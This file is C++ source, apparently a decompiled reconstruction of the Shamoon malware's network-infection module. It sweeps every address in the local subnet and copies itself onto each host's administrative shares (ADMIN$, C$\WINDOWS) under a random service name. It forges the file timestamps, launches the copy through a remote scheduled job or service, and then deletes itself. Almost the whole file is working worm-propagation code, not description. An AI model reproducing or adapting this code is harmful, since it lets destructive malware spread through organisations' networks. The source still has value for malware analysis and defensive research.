// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "Infection.h"

#include "../Utils/String.h"
#include "../Utils/IO.h"
#include "../Utils/ScheduleJob.h"
#include "../Utils/General.h"

#include "32bit.h"

using namespace Shamoon::Utils;
using namespace Shamoon::Utils::IO;
using namespace Shamoon::Utils::String;
using namespace Shamoon::Utils::ScheduleJob;

using namespace Shamoon::Modules::_32bit;

bool Shamoon::Modules::Infection::WriteModuleOnSharedPC(LPCWSTR a1, LPCWSTR szRemoteAddr)
{
	BOOL v16; // edi@6
	const WCHAR *v17; // edi@8
	WCHAR *v31; // [sp-8h] [bp-12D4h]@12
	int v32; // [sp-4h] [bp-12D0h]@12
	int v33; // [sp+10h] [bp-12BCh]@6
	//WCHAR *v35; // [sp+1Ch] [bp-12B0h]@1
	int v36; // [sp+20h] [bp-12ACh]@1
	signed int v37; // [sp+20h] [bp-12ACh]@6
	//bool v38; // [sp+27h] [bp-12A5h]@4
	WCHAR v39[1024]; // [sp+28h] [bp-12A4h]@11
	WCHAR v40[256]; // [sp+828h] [bp-AA4h]@10
	WCHAR NewFileName[256]; // [sp+A28h] [bp-8A4h]@11
	WCHAR v42[256]; // [sp+C28h] [bp-6A4h]@6
	WCHAR szSvcCSRSS[256]; // [sp+E28h] [bp-4A4h]@1
	WCHAR szRemotePrefix[256]; // [sp+1028h] [bp-2A4h]@1
	WCHAR v47[6][15] = {L"ADMIN$", L"C$\\WINDOWS", L"D$\\WINDOWS", L"E$\\WINDOWS"}; // [sp+1228h] [bp-A4h]@1
	WCHAR v46[30]; // [sp+12A0h] [bp-2Ch]@1
	
	// Get the remote prefix in the following format: "\\x.x.x.x\"
	M_STRING03
	(
		szRemotePrefix,

		L"\\\\",
		szRemoteAddr,
		L"\\"
	)
	
	UINT32 nPrefLen = strlenW(szRemotePrefix);
	memmove(szSvcCSRSS, szRemotePrefix, nPrefLen * sizeof(WCHAR));

	int nPart = 0;
	WCHAR *pPart = *v47;
	while(1)
	{
		// Final format will be something like: "\\x.x.x.x\C$\\WINDOWS\\system32\\csrss.exe"
		memmove(&szSvcCSRSS[nPrefLen], pPart, strlenW(pPart) * sizeof(WCHAR));
		memmove(&szSvcCSRSS[nPrefLen + strlenW(pPart)], L"\\system32\\csrss.exe", strlenW(L"\\system32\\csrss.exe") * sizeof(WCHAR));
		szSvcCSRSS[nPrefLen + strlenW(pPart) + strlenW(L"\\system32\\csrss.exe")] = 0;

		if(IsFileAccessible(szSvcCSRSS))
			break;
		
		pPart += 15;
		if(++nPart >= 4)
			return false;
	}
	
	memmove(&szRemotePrefix[v36], v47[nPart], 2 * strlenW(v47[nPart]));
	memmove(&szRemotePrefix[v36 + strlenW(v47[nPart])], L"\\system32\\", 2 * strlenW(L"\\system32\\") + 2);
	memmove(v42, szRemotePrefix, 2 * strlenW(szRemotePrefix) + 2);
	
	v16 = 0;
	v37 = 0;
	v33 = strlenW(szRemotePrefix);
	while(1)
	{
		++v37;
		if(v16)
			break;
		
		v17 = g_random_svc_name[GetRandom() % 29];

		strcpyW(v46, v17, 2 * strlenW(v17));
		strcpyW(&v46[strlenW(v17)], L".exe", 2 * strlenW(L".exe") + 2);
		strcpyW(&szRemotePrefix[v33], v46, 2 * strlenW(v46) + 2);
		
		v16 = CopyFileW(a1, szRemotePrefix, 1);
		SetReliableFileTime(szRemotePrefix);

		if(v37 >= 29)
		{
			if(!v16)
				return 0;
			break;
		}
	}
	
	strcpyW(v40, L"%SystemRoot%\\System32\\", 2 * strlenW(L"%SystemRoot%\\System32\\"));
	strcpyW(&v40[strlenW(L"%SystemRoot%\\System32\\")], v46, 2 * strlenW(v46) + 2);
	
	if(AddNewJob(szRemoteAddr, v40))
		return true;
	
	AddNewJob(szRemoteAddr, v46);
	
	strcpyW(NewFileName, v42, 2 * strlenW(v42));
	strcpyW(&NewFileName[strlenW(v42)], L"trksvr.exe", 2 * strlenW(L"trksvr.exe") + 2);
	strcpyW(v39, L"%SystemRoot%\\System32\\", 2 * strlenW(L"%SystemRoot%\\System32\\"));
	DeleteFileW(NewFileName);
	
	if(!MoveFileW(szRemotePrefix, NewFileName))
	{
		v32 = 2 * strlenW(v46) + 2;
		v31 = v46;
	}
	else
	{
		v32 = 2 * strlenW(L"trksvr.exe") + 2;
		v31 = L"trksvr.exe";
	}
	
	strcpyW(&v39[strlenW(L"%SystemRoot%\\System32\\")], v31, v32);
	
	if(Start32bitService(szRemoteAddr, v39))
		return true;
	
	return false;
}

bool Shamoon::Modules::Infection::WriteModuleOnSharedNetwork()
{
	struct in_addr in; // [sp+14h] [bp-1FCh]@8
	struct WSAData WSAData; // [sp+20h] [bp-1F0h]@4
	WCHAR szPC_IP[20]; // [sp+1B0h] [bp-60h]@11
	char szHostname[50]; // [sp+1D8h] [bp-38h]@4
	
	// If the pointer to the arguments' vector is empty return false
	if(g_argv == NULL)
		return false;
	
	// Clear the hostname
	strset(szHostname, 0, 50);
	
	// Startup the WSA
	if(WSAStartup(257, &WSAData))
	{
		// Something went wrong, clean WSA and return false
		WSACleanup();
		return false;
	}
	
	// Get the hostname
	gethostname(szHostname, 50);
	struct hostent *sHost = gethostbyname(szHostname);
	
	DWORD nAddress; // Current address
	char **szAddrList;
	for(szAddrList = sHost->h_addr_list, nAddress = 0; *szAddrList, nAddress < 10; szAddrList = &sHost->h_addr_list[nAddress++])
	{
		strcpyW((WCHAR *)&in.S_un.S_un_b.s_b1, (const WCHAR *)*szAddrList, sHost->h_length);
		
		UINT8 b8CurrentLastIpByte = in.s_impno, b8LastIpByte = 1;
		do
		{
			if(b8CurrentLastIpByte != b8LastIpByte)
			{
				in.s_impno = b8LastIpByte;
				
				if(strlen(inet_ntoa(in)) <= 19)
				{
					btowc(inet_ntoa(in), szPC_IP, strlen(inet_ntoa(in)));
					WriteModuleOnSharedPC(g_module_path, szPC_IP);
				}
			}
		}
		while(++b8LastIpByte < 255);
	}
	
	WSACleanup();
	ForceFileDeletion(g_argv[0]); // delete itself
	
	return true;
}

bool Shamoon::Modules::Infection::WriteModuleOnSharedPCByArgv()
{
	// If the pointer to the arguments' vector is empty return false
	if(g_argv == NULL)
		return false;
	
	// Try to infect every pc passed as argument
	for(INT32 i = 1; i < g_argc; ++i)
		WriteModuleOnSharedPC(g_module_path, g_argv[i]);
	
	return true;
}